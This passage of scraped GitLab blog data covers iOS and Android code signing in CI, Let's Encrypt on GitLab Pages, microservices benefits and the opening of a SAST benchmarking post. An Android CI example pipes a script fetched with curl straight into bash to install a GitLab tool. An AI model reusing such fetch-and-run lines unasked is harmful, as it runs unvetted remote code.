run:\n\n```\nPRIVATE_TOKEN=YOUR-TOKEN bundle exec fastlane match import\n```\n\nYou'll be prompted to input the path to your files. Once those options are provided, your files will be uploaded and visible in your project's CI/CD settings. (Note: If you are prompted for the git_url during the import, it is safe to leave it blank and hit enter.)\n\n![Fastlane Match Import](https://about.gitlab.com/images/blogimages/2022-09-19-mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane/match-import.png)\n\n## CI/CD pipelines\n\nWith your signing certificates and provisioning profiles loaded in Project-level Secure Files, it's now easy to use those files in your [CI/CD pipelines](/topics/ci-cd/). No access tokens are needed when running jobs in GitLab, so you can load your files into a CI/CD job by adding the fastlane command to a CI job script. For example:\n\n```\ntest:\n  stage: test\n  script:\n    bundle exec fastlane match –readonly\n```\n\nUsing the –readonly flag on CI is suggested to prevent any unintended changes to signing certificates by Fastlane. The Fastlane Match command will sync the certificates to the machine, but does not build the application. To run match and build, configure a lane in your project's Fastfile to do both steps. For example:\n\n**Fastfile**\n\n```\ndefault_platform(:ios)\n\nplatform :ios do\n  desc \"Build the App\"\n  lane :build do\n    setup_ci\n    match(type: 'appstore', readonly: is_ci)\n    build_app(\n      clean: true,\n      project: \"ios_demo.xcodeproj\", \n      scheme: \"ios_demo\"\n    )\n  end\nend\n```\n\n**Matchfile**\n\n```\ngitlab_project(\"gitlab-org/incubation-engineering/mobile-devops/ios_demo\")\nstorage_mode(\"gitlab_secure_files\")\ntype(\"appstore\")\n```\n\n**.gitlab-ci.yml File**\n\n```\nbuild:\n  stage: build\n  script:\n    - bundle exec fastlane build\n```\n\nWith all of that in place, you'll have a CI pipeline that runs a single build job. That job will use the `:build` lane from fastlane to run `setup_ci`, `match`, and `build_app`. The result from that job will be a build of your app, signed with the certificates stored in your project with Project-level Secure Files. You could then extend fastlane to push that build to Test Flight or the App Store.\n\nFastlane does a good job of handling the complexity associated with certificate management, so you don't have to worry about it, but there is a bit of a learning curve to getting used to Fastlane. Take a look at [this branch](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/ios_demo/-/tree/fastlane_build) in the ios_demo project to for a full working example. Please add any feedback you have in the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/362407).\n\n## Better Mobile DevOps\n\nWith Project-level Secure Files, you no longer need to rely on hacks or workarounds to automate code signing, and it can be easily added to new or existing [CI/CD pipelines](/topics/ci-cd/).\n\nFor more about how we are working to make better Mobile DevOps at GitLab, check out the [Mobile DevOps Docs](https://docs.gitlab.com/ee/ci/mobile_devops.html), [SaaS runners on macOS](https://docs.gitlab.com/ee/ci/runners/saas/macos_saas_runner.html), and the [Mobile DevOps Playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0KoVEdembEIySgiciCuZj7Zl) on GitLab Unfiltered.\n\nCover image by \u003Ca href=\"https://unsplash.com/@viniciusamano?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Vinicius \"amnx\" Amano\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/complex-to-simple?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n",[1899,4103,674],{"slug":12368,"featured":6,"template":678},"mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane","content:en-us:blog:mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane.yml","Mobile Devops With Gitlab Part 3 Code Signing For Ios With Gitlab And Fastlane","en-us/blog/mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane.yml","en-us/blog/mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane",{"_path":12374,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12375,"content":12380,"config":12385,"_id":12387,"_type":16,"title":12388,"_source":17,"_file":12389,"_stem":12390,"_extension":20},"/en-us/blog/using-gitlab-pages-lets-encrypt",{"title":12376,"description":12377,"ogTitle":12376,"ogDescription":12377,"noIndex":6,"ogImage":10952,"ogUrl":12378,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12378,"schema":12379},"GitLab and Let's Encrypt partner to improve website security","Learn how to add a Let's Encrypt TLS certificate to a website hosted and managed via GitLab Pages.","https://about.gitlab.com/blog/using-gitlab-pages-lets-encrypt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and Let's Encrypt partner to improve website security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"},{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2022-09-29\",\n      }",{"title":12376,"description":12377,"authors":12381,"heroImage":10952,"date":12382,"body":12383,"category":674,"tags":12384},[2700,8083],"2022-09-29","\n\n[Let's Encrypt](https://letsencrypt.org/), a free, automated, and open certificate authority, is integrated with GitLab to help DevOps teams encrypt web traffic and protect the confidentiality of information their users share with websites.\n\nThis article explains, step by step, how to add a Let's Encrypt Transport Layer Security ([TLS](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.html)) certificate to a website hosted and managed via GitLab Pages.\n\n## What is TLS?\n\nTLS is a protocol designed to make the internet more secure. Now more than two decades old, TLS, which evolved from Secure Sockets Layer (SSL), helps ensure that when users connect to websites — and transmit potentially sensitive data to and from those websites — they are doing so over a secure connection.\n\nIt's an important protocol because internet connections aren't necessarily secure by default. Malicious actors can intervene in the internet connection made to retreive web pages, and then they can view or even manipulate the data traveling through that connection. To minimize the chance of that happening, DevOps teams need to enable a way to guarantee - to certify - that the connection is genuine and secure.\n\nThat's where TLS comes in.\n\n## How does TLS work?\n\nTLS consists of several components, one of which is [a digital certificate](https://www.digicert.com/what-is-an-ssl-certificate), the goal of which is to secure data flowing to and from a website and help users trust in the integrity and confidentiality of that data.\n\nThe website or domain controller can install that certificate on a web server so that a user visiting the site can view it and feel assured their connection to the website is secure. The controller will ask a certifying body — called a certificate authority, or CA — to electronically sign and verify the certificate to indicate that the person or organization has control over the domain. Users can then view the certificate's details to scrutinize the connection.\n\nTo do this, simply load any TLS-protected website in a browser (\"https://\" will appear in the URL where the \"s\" indicates a secure connection), and, typically, a \"lock\" icon in the browser's URL bar. Clicking on that lock reveals certificate details.\n\nAs long as users trust the body that issued the certificate, they can feel more confident their connection to the website is secure. \n\n![GitLab's website, indicating the secure connection by clicking on the lock icon in the URL bar](https://about.gitlab.com/images/blogimages/secureeasy-blog-post-image-1.png)\n\n\nGitLab's website is delivered over a secure connection.\n{: .note.text-center}\n\n\n![GitLab's website indicating the security certificate is valid in the lock icon on the URL browser bar](https://about.gitlab.com/images/blogimages/secureeasy-blog-post-image-2.png)\n\n\nGitLab's website security certificate is valid.\n{: .note.text-center}\n\n\n## Let's Encrypt and TLS certificates\n\nHistorically, obtaining TLS certificates was a complicated and costly endeavor.\n\n[Let's Encrypt formed in 2013](https://www.crn.com/news/cloud/300074840/lets-encrypt-a-free-and-automated-certificate-authority-comes-out-of-stealth-mode.htm) to ensure everyone had access to the benefits of encryption. Part of the nonprofit [Internet Security Research Group](https://www.abetterinternet.org/), Let's Encrypt aims to simplify the process of issuing, installing, configuring, and managing TLS certificates. By doing so, it hopes to create an internet that is [more privacy-respecting and secure](https://letsencrypt.org/about/). \n\nLet's Encrypt is an open and secure certificate authority that makes the process of obtaining and applying TLS certificates easy, automated, and free for website administrators. GitLab's integration with Let's Encrypt enables anyone hosting a webpage using GitLab Pages to obtain and apply a TLS certificate with a single click.\n\n## Securing a website with GitLab Pages and Let's Encrypt\n\n[GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/index.html) allows anyone with a GitLab project to host and maintain a static website and, with [the help of Let's Encrypt](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.html), do so securely.\n\nTo start, create a GitLab pages website:\n\n- Create [a new project](https://docs.gitlab.com/ee/user/project/pages/index.html#how-it-works) (or [fork a sample project](https://docs.gitlab.com/ee/user/project/pages/getting_started/pages_new_project_template.html)) in your GitLab namespace.\n- Add your website's source code to that project.\n- Register a personal domain name, add it to the project, and [verify it](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/index.html#set-up-pages-with-a-custom-domain).\n\nYou're now ready to [add a TLS certificate](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/index.html#adding-an-ssltls-certificate-to-pages) to your site [with Let's Encrypt](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.html).\n\n* Navigate to your project's Settings, then choose Pages.\n* Find the domain you want to secure and select Details.\n* Click Edit in the top-right corner to modify those details.\n* Click the switch to activate Automatic certificate management using Let's Encrypt.\n* Click Save to save your changes.\n\nAnd that's it. Really.\n\nThe only thing left to do is wait. Obtaining a Let's Encrypt certificate for a website can take up to an hour. But once you've acquired one, you'll see the certificate information underneath the domain name listed in your Pages settings.\n\nAdditionally, you can enhance your website's security by forcing incoming traffic to connect to it securely. Just tick the box to enable \"Force HTTPS\".\n\n## Contributing to a more secure internet\n\nThe internet is an incredibly valuable tool, but with that value comes complexity. Let’s Encrypt provides digital certificates to more than 290 million websites, working to create an internet that is more secure and respectful of the privacy of its users. \n\nAt GitLab, we believe that [everyone can contribute](/company/mission/#everyone-can-contribute) — and that includes contributing to a safer, more secure internet. By obtaining and setting up an TLS certificate, DevOps teams benefit from and contribute to the adoption of internet encryption. Internet security shouldn’t be difficult, and GitLab hopes that our integration with Let’s Encrypt supports a more secure internet for everyone.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/_wasba1jCoI\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n",[815,674,267],{"slug":12386,"featured":6,"template":678},"using-gitlab-pages-lets-encrypt","content:en-us:blog:using-gitlab-pages-lets-encrypt.yml","Using Gitlab Pages Lets Encrypt","en-us/blog/using-gitlab-pages-lets-encrypt.yml","en-us/blog/using-gitlab-pages-lets-encrypt",{"_path":12392,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12393,"content":12399,"config":12403,"_id":12405,"_type":16,"title":12406,"_source":17,"_file":12407,"_stem":12408,"_extension":20},"/en-us/blog/what-are-the-benefits-of-a-microservices-architecture",{"title":12394,"description":12395,"ogTitle":12394,"ogDescription":12395,"noIndex":6,"ogImage":12396,"ogUrl":12397,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12397,"schema":12398},"What are the benefits of a microservices architecture?","On the fence about what a microservices architecture can bring to your team? Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662898/Blog/Hero%20Images/microservices-explosion.jpg","https://about.gitlab.com/blog/what-are-the-benefits-of-a-microservices-architecture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What are the benefits of a microservices architecture?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-09-29\",\n      }",{"title":12394,"description":12395,"authors":12400,"heroImage":12396,"date":12382,"body":12401,"category":962,"tags":12402},[711],"\n[Microservices architecture](/topics/microservices/) is a framework where an application is separated into smaller services and each of those services typically runs a unique process and manages its own database. There are many pros and cons to microservices. Let's explore them.\n\n## Advantages of microservices architecture\n\n### Scalability improvements\n\nSince each microservice runs independently, it is easier to add, remove, update or scale each cloud microservice. Developers can perform these tasks without disrupting any other microservice in the system. Companies can scale each microservice as needed. For instance, if a particular microservice experiences increased demand because of seasonal buying periods, more resources can be efficiently devoted to it. If demand drops as the season changes, the microservice can be scaled back, allowing resources or computing power to be used in other areas.\n\n### Improved fault isolation\n\nUnder a monolithic architecture structure, when developers experience a failure in one element of the architecture, it will collapse all architecture components. With a microservices architecture, if one service fails, it’s much less likely that other parts of the application will fail because each microservice runs independently. However, businesses need to be careful, because large volumes of traffic can still be overwhelming in some cases.\n\nThe benefit of a microservice architecture is that developers can deploy features that prevent cascading failures. A variety of tools are also available, from GitLab and others, to build fault-tolerant microservices that help improve the resilience of the infrastructure.\n\n### Program language and technology agnostic\n\nA microservice application can be programmed in _any_ language, so dev teams can choose the best language for the job. The fact that microservices architectures are language agnostic also allows the developers to use their existing skill sets to maximum advantage – no need to learn a new programming language just get the work done.\nUsing cloud-based microservices gives developers another advantage, as they can access an application from any internet-connected device, regardless of its platform.\n\n### Simpler to deploy\n\nA microservices architecture lets teams deploy independent applications without affecting other services in the architecture. This feature, one of the pros of microservices, will enable developers to add new modules without redesigning the system's complete structure. Businesses can efficiently add new features as needed under a microservices architecture.\n\n### Reusability across different areas of business\n\nSome microservice applications may be shareable across a business. If a site has several different areas, each with a login or payment option, the same microservice application can be used in each instance.\n\n### Faster time-to-market\n\nDevelopers can plug this new “microsurgery” into the architecture without fear of conflicts with other code or of creating service outages that ripple across the website. Development teams working on different microservices don't have to wait for each other to finish. Companies can develop and deploy new features quickly and upgrade older components as new technologies allow them to evolve.\n\n### Ability to experiment\n\nDeciding to go forward with experimentation is much easier with microservices architecture.\n\nIt’s simple to roll out new features because each service is independent of the others. If customers don't like it, or the business benefits aren’t clear, it's much easier to roll it back without affecting the rest of the operation.\n\nIf a  new feature is a customer request, a microservices architecture means they’ll get to experience it in weeks, rather than months or years.\n\n### Improved data security\n\nIf the components of the computer systems architecture break down into smaller pieces, sensitive data is protected from intrusions from another area. While there are connections between all microservices, developers can use secure APIs to connect the services. Secure APIs safeguard data by ensuring it is only available to specifically authorized users, applications and servers. If a business requires handling sensitive data such as health or financial information, it's easier to achieve compliance under data security standards such as healthcare's [HIPAA](https://www.hhs.gov/hipaa/index.html) or the European [GDPR](https://gdpr-info.eu).\n\n### Outsourcing flexibility\n\nIt may be necessary for a business to outsource certain functions to third-party partners. Many companies are concerned about protecting intellectual property with a monolithic architecture format. However, a microservices architecture allows businesses to segment areas just for  partners that won’t otherwise disclose core services.\n\n### Team optimization\n\nWhen considering the size of teams you assign to each microservice, consider the two-pizza rule. First articulated by Amazon, which pioneered microservices, the idea is to keep development teams small enough to feed them with two pizzas. Experts explain that this guideline improves work efficiency, allows businesses to achieve goals faster, makes teams easier to manage, creates greater focus among the group and results in higher quality products.\n\n### Attractive for engineers\n\nEngineers find microservices architecture enticing, and companies have a [better chance of finding top-flight talent](/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain/) to work on microservices application development. Microservices rely on the latest engineering practices and developer tools. This provides an important advantage for businesses hoping to attract specialists.\n\n## Disadvantages of microservices\n\nWhile there are a solid number of advantages for any business, there are also a few disadvantages of microservices to consider before adoption.\n\n### Upfront costs are higher with microservices\n\nWhile cloud microservices are a pro, such as saving money over the long run, there are cons, such as the costs associated with their initial deployment. A business needs to have sufficient hosting infrastructure with security and maintenance support. Even more important, it will need skilled teams to manage all services.\n\n### Interface control is crucial\n\nSince each microservice has its own API, any application using that service will be affected if you change the API, and that change is not backward compatible. Any large operation using a microservices architecture will have hundreds, even thousands, of APIs so controlling those interfaces becomes critical to the business's operation, which can be a disadvantage to microservices architecture.\n\n### A different kind of complexity\n\nDebugging can be more challenging with a microservices architecture. Each microservice will have its own set of logs. This provides a minor headache when tracing the source of a problem in the code.\n\n### Integration testing\n\nUnit testing is more manageable with microservices architecture. Integration testing is not. Since the architecture distributes each microservice, developers cannot test the entire system from their machines.\n\n### Service-oriented architecture vs. microservices\n\nIf you work in cloud computing, you're probably aware of the [service-oriented architecture (SOA)](https://www.techtarget.com/searchapparchitecture/definition/service-oriented-architecture-SOA) versus microservices debate. In many ways, the two architectures are similar as they both involve cloud computing for agile development. Both break large monolithic components into smaller units that are easier to work with.\n\nThe biggest difference is that SOA is an enterprise-wide approach to developing software components. Microservices, meanwhile, build standalone applications that perform a specific function and this cloud-native approach to development and deployment makes them more scalable, agile and resistant. \n\nSo, in essence, the difference between the two comes down to scope. SOA is an enterprise-wide approach, while a microservices architecture has an application scope.\n\nRead on to learn [how to get started with a microservices architecture](/blog/get-started-with-microservices-architecture/).\n",[4103,4103,754],{"slug":12404,"featured":92,"template":678},"what-are-the-benefits-of-a-microservices-architecture","content:en-us:blog:what-are-the-benefits-of-a-microservices-architecture.yml","What Are The Benefits Of A Microservices Architecture","en-us/blog/what-are-the-benefits-of-a-microservices-architecture.yml","en-us/blog/what-are-the-benefits-of-a-microservices-architecture",{"_path":12410,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12411,"content":12417,"config":12422,"_id":12424,"_type":16,"title":12425,"_source":17,"_file":12426,"_stem":12427,"_extension":20},"/en-us/blog/mobile-devops-with-gitlab-part-2",{"title":12412,"description":12413,"ogTitle":12412,"ogDescription":12413,"noIndex":6,"ogImage":12414,"ogUrl":12415,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12415,"schema":12416},"Mobile DevOps with GitLab, Part 2 - Code signing for Android with GitLab","This second part of our tutorial series shows how to use Project-level Secure Files to sign an Android application.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668592/Blog/Hero%20Images/teddy-gr--adWwTRAm1g-unsplash.jpg","https://about.gitlab.com/blog/mobile-devops-with-gitlab-part-2","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Mobile DevOps with GitLab, Part 2 - Code signing for Android with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darby Frey\"}],\n        \"datePublished\": \"2022-09-28\",\n      }",{"title":12412,"description":12413,"authors":12418,"heroImage":12414,"date":12419,"body":12420,"category":962,"tags":12421},[9796],"2022-09-28","\n\nIn Part 1 of this tutorial series, we talked about a new feature in GitLab called [Project-level Secure Files](/blog/mobile-devops-with-gitlab-part-1/). With Project-level Secure Files, you can securely store your build keys as part of your project in GitLab, and avoid [some](https://www.reddit.com/r/androiddev/comments/a4ydhj/how_to_update_app_when_lost_keystore_file/) [painful](https://www.reddit.com/r/gamemaker/comments/v98den/lost_keystore_for_publishing_to_google_play_store/) [problems](https://www.reddit.com/r/androiddev/comments/95oa55/is_there_anyway_to_update_my_app_after_having/) caused by lost keystore files.\n\nIn this blog post, I'll show you how to create a Keystore file and use it to sign an Android application. Then I'll show you how to quickly create a CI pipeline in GitLab using Project-level Secure Files.\n\n## Generate a private signing key\n\nThe first thing you'll need is a Keystore file. This file is used to securely sign the application. You can generate a Keystore file from your machine by running the following command:\n\n```\nkeytool -genkey -v -keystore release-keystore.jks -alias release -keyalg RSA -keysize 2048 -validity 10000\n```\n\nDuring this process, you'll be asked to create a new password for the Keystore file and provide some information about you and your organization. See the example below:\n\n![Generate Android Keystore](https://about.gitlab.com/images/blogimages/2022-09-19-mobile-devops-with-gitlab-part-2-code-signing-for-android-with-gitlab/generate-keystore.png)\n\n\n## Configure your application\n\nThe next step is to set some environment variables and update build.gradle to add the new signing configuration. First, set the following environment variables in either a .env file or in the shell via export.\n\n* `ANDROID_KEY_ALIAS` is the alias you gave for the key in the keytool command above. In this example the value is release.\n* `ANDROID_KEYSTORE_PASSWORD` is the new password you supplied to the keytool command above.\n* `ANDROID_KEY_STOREFILE` is the path to the new keystore file you just created. In this example we're using `../release-keystore.jks`.\n\nWith the environment variables set, the next step is to update the build configuration to use the new Keystore in the build process. In the `app/build.gradle` file add the following configuration inside the Android block for the release signing config.\n\n```\nandroid {\n    ...\n    defaultConfig { ... }\n    signingConfigs {\n        release {\n           storeFile file(System.getenv('ANDROID_KEY_STOREFILE'))\n           storePassword System.getenv('ANDROID_KEYSTORE_PASSWORD')\n           keyAlias System.getenv('ANDROID_KEY_ALIAS')\n           keyPassword System.getenv('ANDROID_KEYSTORE_PASSWORD')\n        }\n    }\n    buildTypes {\n        release {\n            ...\n            signingConfig signingConfigs.release\n        }\n    }\n}\n```\n\nSave these changes to the `app/build.gradle file`, and run the build locally to ensure everything works. Use the following command to run the build:\n\n```\n./gradlew assembleRelease\n```\n\nIf everything worked you'll see a message saying **BUILD SUCCESSFUL**.\n\n## Configure project\n\nWith the build running locally, it takes just a couple of steps to get it running in GitLab [CI](/topics/ci-cd/). The first step is to upload your Keystore file in GitLab. \n\n1. On the top bar, select **Menu > Projects** and find your project.\n2. On the left sidebar, select **Settings > CI/CD**.\n3. In the **Secure Files** section, select **Expand**.\n4. Select **Upload File**.\n5. Find the file to upload, select **Open**, and the file upload begins immediately. The file shows up in the list when the upload is complete.\n\n![Upload Secure File](https://about.gitlab.com/images/blogimages/2022-09-19-mobile-devops-with-gitlab-part-2-code-signing-for-android-with-gitlab/upload-secure-file.png)\n\n![List Secure Files](https://about.gitlab.com/images/blogimages/2022-09-19-mobile-devops-with-gitlab-part-2-code-signing-for-android-with-gitlab/list-secure-files.png)\n\nThe next step is to set the CI variables in your project. \n\n1. On the top bar, select **Menu > Projects** and find your project.\n2. On the left sidebar, select **Settings > CI/CD**.\n3. In the **Variables** section, select **Expand**.\n4. Create entries for the three environment variables set earlier: `ANDROID_KEY_ALIAS`, `ANDROID_KEY_STOREFILE`, `ANDROID_KEYSTORE_PASSWORD`.\n\n![List Secure Files](https://about.gitlab.com/images/blogimages/2022-09-19-mobile-devops-with-gitlab-part-2-code-signing-for-android-with-gitlab/list-ci-variables.png)\n\n## CI/CD pipelines\n\nOnce the project is configured, the final step is to create the build configuration in the `.gitlab-ci.yml` file. Below is a sample file.\n\n```\nstages:\n  - build\n\nbuild_android:\n  image: fabernovel/android:api-31-v1.6.1\n  stage: build\n  variables:\n    SECURE_FILES_DOWNLOAD_PATH: './'\n  script:\n    - apt update && apt install -y curl\n    - curl --silent \"https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/download-secure-files/-/raw/main/installer\" | bash\n    - ./gradlew assembleRelease\n  artifacts:\n    paths:\n      - app/build/outputs/apk/release\n```\n\nA few interesting bits from this configuration:\n\n1. Image: [https://github.com/faberNovel/docker-android](https://github.com/faberNovel/docker-android) provides a collection of prebuilt Docker images that work great for CI systems. Find the right version for your project in Docker Hub [https://hub.docker.com/r/fabernovel/android/tags](https://hub.docker.com/r/fabernovel/android/tags). \n2. Script: Depending on the image, you may need to install curl; the first line of the example script installs curl to be used in the second line to download and execute the [download-secure-files](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/download-secure-files) tool.\n3. Variables: `SECURE_FILES_DOWNLOAD_PATH` tells [download-secure-files](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/download-secure-files) where to download the Keystore file.\n4. Artifacts: Make the build output available to be downloaded from the CI job, or used in subsequent jobs in the pipeline.\n\nCommit the changes to your `.gitlab-ci.yml` file and after you push the changes to GitLab the build will start.\n\nTake a look at [this branch in the sample project](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/android_demo/-/tree/basic_build) for reference.\n\nGive it a try, and let us know what you think in the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/362407). Then, check out Part 3, which deals with [code signing for iOS](/blog/mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane/). \n\n\n\n_Cover image by  \u003Ca href=\"https://unsplash.com/@teddygr?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Teddy GR\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/google-phone?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>_\n",[4103,1899,754,110],{"slug":12423,"featured":6,"template":678},"mobile-devops-with-gitlab-part-2","content:en-us:blog:mobile-devops-with-gitlab-part-2.yml","Mobile Devops With Gitlab Part 2","en-us/blog/mobile-devops-with-gitlab-part-2.yml","en-us/blog/mobile-devops-with-gitlab-part-2",{"_path":12429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12430,"content":12436,"config":12444,"_id":12446,"_type":16,"title":12447,"_source":17,"_file":12448,"_stem":12449,"_extension":20},"/en-us/blog/a-benchmarking-framework-for-sast",{"title":12431,"description":12432,"ogTitle":12431,"ogDescription":12432,"noIndex":6,"ogImage":12433,"ogUrl":12434,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12434,"schema":12435},"A Google Summer of Code project: creating a benchmarking framework for SAST","Our 2022 Google Summer of Code project helped to create a benchmarking framework for SAST.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677267/Blog/Hero%20Images/benchmarking.png","https://about.gitlab.com/blog/a-benchmarking-framework-for-sast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A Google Summer of Code project: creating a benchmarking framework for SAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Henriksen\"},{\"@type\":\"Person\",\"name\":\"Martynas Krupskis\"},{\"@type\":\"Person\",\"name\":\"Mark Art\"},{\"@type\":\"Person\",\"name\":\"Dinesh Bolkensteyn\"},{\"@type\":\"Person\",\"name\":\"Isaac Dawson\"},{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2022-09-27\",\n      }",{"title":12431,"description":12432,"authors":12437,"heroImage":12433,"date":12441,"body":12442,"category":813,"tags":12443},[979,12438,12439,12440,12095,2948],"Martynas Krupskis","Mark Art","Dinesh Bolkensteyn","2022-09-27","In summer 2022, the [Vulnerability Research team at GitLab](/handbook/engineering/development/sec/secure/vulnerability-research/) \nlaunched the [Google Summer of Code (GSoC)](https://summerofcode.withgoogle.com/) project: \n[A benchmarking framework for SAST](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/gsoc-2022/-/issues/1).\n\nThe goal of the project was to create a benchmarking framework, which would assess the\nimpact and quality of a security analyzer or configuration change before it reaches the production environment.\n\n## Preliminaries \n\n### GitLab SAST\n\nAs a complete DevOps Platform, GitLab has a variety of integrated [static analysis (SAST) tools](/direction/secure/static-analysis/sast/) \nfor different languages and frameworks. These tools help developers find\nvulnerabilities as early as possible in the software development lifecycle.\nThese tools are constantly being updated, either by upgrading the underlying\nsecurity analyzers or by applying configuration changes.\n\nSince all the integrated SAST tools are very different in terms of\nimplementation, and depend on different tech stacks, they are all\nwrapped in Docker images. The wrappers translate tool-native vulnerability\nreports to a [generic, common report format](https://docs.gitlab.com/ee/user/application_security/sast/#reports-json-format) which is\nmade available by means of the `gl-sast-report.json` artifact. This generic\nreport is GitLab's common interface between analyzers and the GitLab Rails\nbackend.\n\nBenchmarking is important to assess the efficacy of analyzers and helps to make\ndata-driven decisions. For example, benchmarking is useful for QA testing\n(spotting regressions), for data-driven decision making, and for research by\nassessing the progression of the GitLab security feature performance over time.\n\n### Google Summer Of Code (GSoC)\n\n[Google Summer of Code (GSoC)](https://summerofcode.withgoogle.com/) \nis a 10-week program that enlists contributors to work on open source projects\nin collaboration with open source organizations. For GSoC 2022, GitLab offered\nfour projects to GSoC contributors. The contributors completed each of the\nprojects with the guidance from GitLab team members who mentored them and\nprovided regular feedback and assistance when needed.\n\n### Terms & Notation\n\nIn this blog post, we use the terms/acronyms below to classify findings reported by security analyzers.\n\n| Acronym   | Meaning        | Description                                                        |\n|-------|----------------|--------------------------------------------------------------------|\n| _TP_  | True Positive  | Analyzer correctly identifies a vulnerability.                     |\n| _FP_  | False Positive | Analyzer misidentifies a vulnerability or reported a vulnerability where none exist. |\n| _TN_  | True Negative  | Analyzer correctly ignores a potential false positive.             |\n| _FN_  | False Negative | Analyzer does not report a known vulnerability.                    |\n\nFor the figures in the blog post we use the following notation: processes are\ndepicted as rounded boxes, whereas artifacts (e.g., files) are depicted as\nboxes; arrows denote an input/output (IO) relationship between the connected nodes.\n\n``` mermaid\nflowchart TB;\nsubgraph legend[ Legend ]\n   proc(Process);\n   art[Artifact];\n   proc -->|IO relation|art;\nend\n``` \n\n## Motivation\n\nThe authors of the paper [How to Build a Benchmark](https://dl.acm.org/doi/10.1145/2668930.2688819) distilled the desirable characteristics of a benchmark below:\n> 1. Relevance: How closely the benchmark behavior correlates to behaviors that are of interest to consumers of the results.\n> 2. Reproducibility: The ability to consistently produce similar results when the benchmark is run with the same test configuration.\n> 3. Fairness: Allowing different test configurations to compete on their merits without artificial limitations.\n> 4. Verifiability: Providing confidence that a benchmark result is accurate.\n> 5. Usability: Avoiding roadblocks for users to run the benchmark in their test environments.\n\nThere currently is no standard nor de facto language-agnostic SAST benchmark\nsatisfying all the criteria mentioned above. Many benchmark suites focus on\nspecific languages, are shipped with incomplete or missing ground-truths, or\nare based on outdated technologies and/or frameworks. A ground-truth or\nbaseline is the set of findings a SAST tool is expected to detect.\n\nThe main objective of the GSoC project was to close this gap and start to\ncreate a benchmarking framework that addresses all the desirable charateristics\nmentioned above in the following manner:\n\n1. Relevance: Include realistic applications (in terms of size, framework usage\n   and customer demand).\n2. Reproducibility: Automate the whole benchmarking process in CI.\n3. Fairness: Make it easy to integrate new SAST tools by just tweaking the CI\n   configuration and use the [GitLab security report schema](https://docs.gitlab.com/ee/user/application_security/sast/#reports-json-format) as a common standard.\n4. Verifiability: Assemble baseline that includes all the relevant\n   vulnerabilities and make it publicly available. The baseline is the north star\n   that defines what vulnerabilities are actually included in a test application. \n5. Usability: Benchmark users can just integrate the benchmark as a downstream\n   pipeline to their CI configuration.\n\n## A benchmarking framework for SAST\n\nThe benchmarking framework compares the efficacy of an analyzer against a known\nbaseline. This is very useful for monitoring the efficacy of the analyzer that\nparticipates in the benchmarking. The baseline is the gold standard that serves\nas a compass to guide analyzer improvements.\n\n### Usage\n\nFor using the framework, the following requirements have to be met:\n1. The analyzer has to be dockerized.\n1. The analyzer has to produce a vulnerability report that adheres to the\n   [GitLab security report schema](https://docs.gitlab.com/ee/user/application_security/sast/#reports-json-format)\n   format, which serves as our generic intermediate representation to compare\n   analyzer efficacy. \n1. The baseline expectations have to be provided as \n   [GitLab security report 